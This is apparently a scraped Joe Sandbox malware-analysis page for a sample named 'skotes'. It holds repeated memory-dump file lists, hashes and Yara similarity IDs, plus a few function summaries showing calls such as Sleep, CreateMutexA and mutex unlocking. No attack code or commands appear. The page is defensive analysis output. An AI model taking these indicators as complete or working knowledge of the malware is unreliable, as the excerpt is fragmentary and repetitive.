Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: bce4462001292cebee3182e2522fa31d728d7bba24b6cfc5c5fe759ff8ce22e8
Instruction ID: 518731721ff557886e58c90546d9eb166fa7b40303ed931a96f570b91eca5aef
Opcode Fuzzy Hash: bce4462001292cebee3182e2522fa31d728d7bba24b6cfc5c5fe759ff8ce22e8
Instruction Fuzzy Hash: 1E213731705200EBEB28AB6CEC89BACF761EBC1310F24421DE558D73D5DB7DA9C18622

Function 0071A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: e5a63b3d1ff3f29a26837af8eb97e0dc0b624dff9c217bebf883c989712309dd
Instruction ID: 29ab079bea55c3647f29c26aabf3070d4acf01d68dc588064ea937c25297af73
Opcode Fuzzy Hash: e5a63b3d1ff3f29a26837af8eb97e0dc0b624dff9c217bebf883c989712309dd
Instruction Fuzzy Hash: B9214F71346100EAFB29776C988ABBDB361DF91700F24491AE544E63D2CB7E59C181A3

Function 0071A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: eca5a32503d67df70e9656a1a88d48f50192d4dca3df84dc055249702c88f8f4
Instruction ID: 41586870546e6716116593374b03e9a3074ac3461efbe9b183bcdbf71137991d
Opcode Fuzzy Hash: eca5a32503d67df70e9656a1a88d48f50192d4dca3df84dc055249702c88f8f4
Instruction Fuzzy Hash: 03214C31705200EBEB18AB6CDC897ACF762EBD2310F24421DE418D77D5D77DA9C08262

Non-executed Functions

Function 0074CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0074CC66

Strings

vt, xrefs: 0074CBE1

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vt
API String ID: 3213747228-3392995273
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 2a1b904805f9607de461cc0a677b0cc71bddbdc516b25282b048ca70e7357353
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: A9B12432E066959FDB16CF28C8817BEBBE5EF45350F1441AAE855EB242D73C9D01CBA0

Function 00712EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00712F5F
__Mtx_unlock.LIBCPMT ref: 00712FCC
__Mtx_unlock.LIBCPMT ref: 007130F5
__Mtx_unlock.LIBCPMT ref: 0071319B

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 41752214d2e99c49f5125039b23aab72ec62c23295cf4717bee0c51a164d2b4d
Instruction ID: 877f1b6fd7bb4c6fb279af0fd4de374f797f17da4d5a10dfd6c2ab35e390042e
Opcode Fuzzy Hash: 41752214d2e99c49f5125039b23aab72ec62c23295cf4717bee0c51a164d2b4d
Instruction Fuzzy Hash: E0A1F3B0A00615EFDB11DF68D948B9AB7F9FF18310F148129E815D7281EB39EA85CBD1

Function 0074F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0074F3A3

Strings

`'w, xrefs: 0074F375
8"w, xrefs: 0074F44B

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
